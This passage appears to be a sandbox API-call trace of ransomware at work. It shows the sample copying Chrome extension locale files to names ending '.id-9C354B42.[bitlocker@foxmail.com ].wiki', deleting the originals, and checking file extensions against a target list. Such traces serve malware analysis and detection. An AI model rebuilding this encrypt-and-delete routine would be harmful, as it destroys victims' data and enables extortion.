(hFile=0x19c) returned 1 [0175.306] CloseHandle (hObject=0x19c) returned 1 [0175.306] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0175.306] SetEndOfFile (hFile=0x1b4) returned 1 [0175.306] CloseHandle (hObject=0x1b4) returned 1 [0175.306] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0175.307] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl\\messages.json")) returned 1 [0175.307] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl\\messages.json") returned 151 [0175.307] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl\\messages.json") returned 151 [0175.307] lstrlenW (lpString=".doc") returned 4 [0175.307] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.307] lstrlenW (lpString=".docx") returned 5 [0175.307] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.307] lstrlenW (lpString=".pdf") returned 4 [0175.307] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.307] lstrlenW (lpString=".xls") returned 4 [0175.307] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.307] lstrlenW (lpString=".xlsx") returned 5 [0175.307] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.307] lstrlenW (lpString=".ppt") returned 4 [0175.307] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.307] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl\\messages.json") returned 151 [0175.307] lstrlenW (lpString=".zip") returned 4 [0175.307] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.307] lstrlenW (lpString=".rar") returned 4 [0175.307] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.308] lstrlenW (lpString=".bz2") returned 4 [0175.308] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.308] lstrlenW (lpString=".7z") returned 3 [0175.308] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.308] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl\\messages.json") returned 151 [0175.308] lstrlenW (lpString=".dbf") returned 4 [0175.308] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.308] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl\\messages.json") returned 151 [0175.308] lstrlenW (lpString=".1cd") returned 4 [0175.308] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.308] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl\\messages.json") returned 151 [0175.308] lstrlenW (lpString=".jpg") returned 4 [0175.308] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.308] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl\\messages.json") returned 151 [0175.308] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl\\messages.json") returned 151 [0175.308] lstrlenW (lpString=".doc") returned 4 [0175.308] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.308] lstrlenW (lpString=".docx") returned 5 [0175.308] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.308] lstrlenW (lpString=".pdf") returned 4 [0175.308] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.308] lstrlenW (lpString=".xls") returned 4 [0175.308] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.308] lstrlenW (lpString=".xlsx") returned 5 [0175.308] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.308] lstrlenW (lpString=".ppt") returned 4 [0175.308] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.308] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl\\messages.json") returned 151 [0175.308] lstrlenW (lpString=".zip") returned 4 [0175.309] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.309] lstrlenW (lpString=".rar") returned 4 [0175.309] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.309] lstrlenW (lpString=".bz2") returned 4 [0175.309] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.309] lstrlenW (lpString=".7z") returned 3 [0175.309] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.309] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl\\messages.json") returned 151 [0175.309] lstrlenW (lpString=".dbf") returned 4 [0175.309] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.309] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl\\messages.json") returned 151 [0175.309] lstrlenW (lpString=".1cd") returned 4 [0175.309] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.309] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl\\messages.json") returned 151 [0175.309] lstrlenW (lpString=".jpg") returned 4 [0175.309] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.309] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0175.309] lstrlenW (lpString="messages.json") returned 13 [0175.309] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_br\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0175.310] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=213) returned 1 [0175.310] CloseHandle (hObject=0x1b4) returned 1 [0175.310] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_br\\messages.json")) returned 0x2020 [0175.310] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_BR\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_br\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0175.310] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_br\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0175.310] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0175.310] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0175.310] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_BR\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_br\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0175.311] GetLastError () returned 0x0 [0175.311] ReadFile (in: hFile=0x1b4, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0xd5, lpOverlapped=0x0) returned 1 [0175.312] WriteFile (in: hFile=0x19c, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xe0, lpOverlapped=0x0) returned 1 [0175.313] ReadFile (in: hFile=0x1b4, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0175.313] WriteFile (in: hFile=0x19c, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xee, lpOverlapped=0x0) returned 1 [0175.313] SetEndOfFile (hFile=0x19c) returned 1 [0175.313] CloseHandle (hObject=0x19c) returned 1 [0175.313] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0175.313] SetEndOfFile (hFile=0x1b4) returned 1 [0175.314] CloseHandle (hObject=0x1b4) returned 1 [0175.314] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_BR\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0175.314] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_br\\messages.json")) returned 1 [0175.314] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_BR\\messages.json") returned 154 [0175.314] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_BR\\messages.json") returned 154 [0175.314] lstrlenW (lpString=".doc") returned 4 [0175.314] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.315] lstrlenW (lpString=".docx") returned 5 [0175.315] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.315] lstrlenW (lpString=".pdf") returned 4 [0175.315] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.315] lstrlenW (lpString=".xls") returned 4 [0175.315] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.315] lstrlenW (lpString=".xlsx") returned 5 [0175.315] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.315] lstrlenW (lpString=".ppt") returned 4 [0175.315] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.315] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_BR\\messages.json") returned 154 [0175.315] lstrlenW (lpString=".zip") returned 4 [0175.315] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.315] lstrlenW (lpString=".rar") returned 4 [0175.315] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.315] lstrlenW (lpString=".bz2") returned 4 [0175.315] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.315] lstrlenW (lpString=".7z") returned 3 [0175.315] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.315] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_BR\\messages.json") returned 154 [0175.315] lstrlenW (lpString=".dbf") returned 4 [0175.315] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.315] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_BR\\messages.json") returned 154 [0175.315] lstrlenW (lpString=".1cd") returned 4 [0175.315] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.315] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_BR\\messages.json") returned 154 [0175.316] lstrlenW (lpString=".jpg") returned 4 [0175.316] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.316] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_BR\\messages.json") returned 154 [0175.316] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_BR\\messages.json") returned 154 [0175.316] lstrlenW (lpString=".doc") returned 4 [0175.316] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.316] lstrlenW (lpString=".docx") returned 5 [0175.316] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.316] lstrlenW (lpString=".pdf") returned 4 [0175.316] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.316] lstrlenW (lpString=".xls") returned 4 [0175.316] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.316] lstrlenW (lpString=".xlsx") returned 5 [0175.316] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.316] lstrlenW (lpString=".ppt") returned 4 [0175.316] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.316] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_BR\\messages.json") returned 154 [0175.316] lstrlenW (lpString=".zip") returned 4 [0175.316] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.316] lstrlenW (lpString=".rar") returned 4 [0175.316] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.316] lstrlenW (lpString=".bz2") returned 4 [0175.316] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.316] lstrlenW (lpString=".7z") returned 3 [0175.316] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.316] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_BR\\messages.json") returned 154 [0175.316] lstrlenW (lpString=".dbf") returned 4 [0175.317] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.317] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_BR\\messages.json") returned 154 [0175.317] lstrlenW (lpString=".1cd") returned 4 [0175.317] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.317] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_BR\\messages.json") returned 154 [0175.317] lstrlenW (lpString=".jpg") returned 4 [0175.317] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.317] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0175.317] lstrlenW (lpString="messages.json") returned 13 [0175.317] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_pt\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0175.317] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=230) returned 1 [0175.317] CloseHandle (hObject=0x1b4) returned 1 [0175.317] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_pt\\messages.json")) returned 0x2020 [0175.318] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_PT\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_pt\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0175.318] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_pt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0175.318] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0175.318] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0175.318] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_PT\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_pt\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0175.318] GetLastError () returned 0x0 [0175.318] ReadFile (in: hFile=0x1b4, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0xe6, lpOverlapped=0x0) returned 1 [0175.319] WriteFile (in: hFile=0x19c, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xf0, lpOverlapped=0x0) returned 1 [0175.320] ReadFile (in: hFile=0x1b4, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0175.320] WriteFile (in: hFile=0x19c, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xee, lpOverlapped=0x0) returned 1 [0175.320] SetEndOfFile (hFile=0x19c) returned 1 [0175.320] CloseHandle (hObject=0x19c) returned 1 [0175.320] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0175.320] SetEndOfFile (hFile=0x1b4) returned 1 [0175.321] CloseHandle (hObject=0x1b4) returned 1 [0175.321] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_PT\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0175.322] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_pt\\messages.json")) returned 1 [0175.322] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_PT\\messages.json") returned 154 [0175.322] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_PT\\messages.json") returned 154 [0175.322] lstrlenW (lpString=".doc") returned 4 [0175.322] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.322] lstrlenW (lpString=".docx") returned 5 [0175.322] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.322] lstrlenW (lpString=".pdf") returned 4 [0175.322] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.322] lstrlenW (lpString=".xls") returned 4 [0175.322] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.322] lstrlenW (lpString=".xlsx") returned 5 [0175.322] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.322] lstrlenW (lpString=".ppt") returned 4 [0175.322] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.322] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_PT\\messages.json") returned 154 [0175.322] lstrlenW (lpString=".zip") returned 4 [0175.322] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.322] lstrlenW (lpString=".rar") returned 4 [0175.322] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.322] lstrlenW (lpString=".bz2") returned 4 [0175.322] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.322] lstrlenW (lpString=".7z") returned 3 [0175.323] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.323] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_PT\\messages.json") returned 154 [0175.323] lstrlenW (lpString=".dbf") returned 4 [0175.323] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.323] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_PT\\messages.json") returned 154 [0175.323] lstrlenW (lpString=".1cd") returned 4 [0175.323] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.323] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_PT\\messages.json") returned 154 